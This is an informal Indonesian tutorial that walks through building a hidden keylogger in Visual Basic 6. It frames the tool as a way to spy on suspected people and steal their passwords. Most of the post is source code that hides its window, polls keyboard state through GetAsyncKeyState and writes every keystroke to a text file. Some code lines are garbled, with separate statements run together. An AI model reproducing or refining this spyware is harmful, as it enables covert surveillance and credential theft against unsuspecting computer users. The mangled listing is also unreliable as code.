Membuat Keylogger dgn VB6

Keylogger

dari namanya udah jelas ..

aplikasi ini digunakan buat mencatat semua

aktifitas yang berhungan dengan keyboard

jadi semua ketikan kita akan tersimpan

kedalam file mylog.txt ...

mantab khan ...

***bisa buat memata-makegiatan

orang yang kita jurigai..

seperti menjebol password orang

untuk menjalankannya..

coba jalankan file keylogger.exe

trus coba kamu ketikan sesuatu ....

jreng jreng jreng ...

sekarang kamu buka file mylog.txt

di tempat project vb berada..

semua ktikan kamu akan tercatat di file tersebut..

sekarang gimana cara buatnya :

1. Buatlah form , trus tambahkan 1 timer ( jangan lupa ubah intervalnya jadi 1 )

2. Ketikan Listing dibawah ini


'A. Fungsi API untuk mendapatkan Status Tombol di Keyboard

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

'B. Membuat Variabel Baru

Private Type TList
kode As Integer
bawah As String
atas As String
End Type

'C. Membuat Array untuk Tombol

Private List(1 To 255) As TList
Private IndexList As Integer

'D. Memasukan Key ke TABEL

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kodeList(IndexList).atas = atasList(IndexList).bawah = bawahEnd Sub

'E. Membuat Tabel

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next iAddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "
End Sub

'F. Mmanggil prosedur & Menghilangkan Form

Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub

'G. Mencatat Ke File TXT

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long
If (Dir(App.Path & "\mylog.txt") <> "") Then
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

'H. Memeriksa Ketikan Per Detik

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atasElse
AddToFile List(i).bawahEnd If
Exit For
End If
Next
End Sub

klo gak jelas muuph.. ya gk biasa bikin tutor seh..
pengembangannya terserah mo di apain..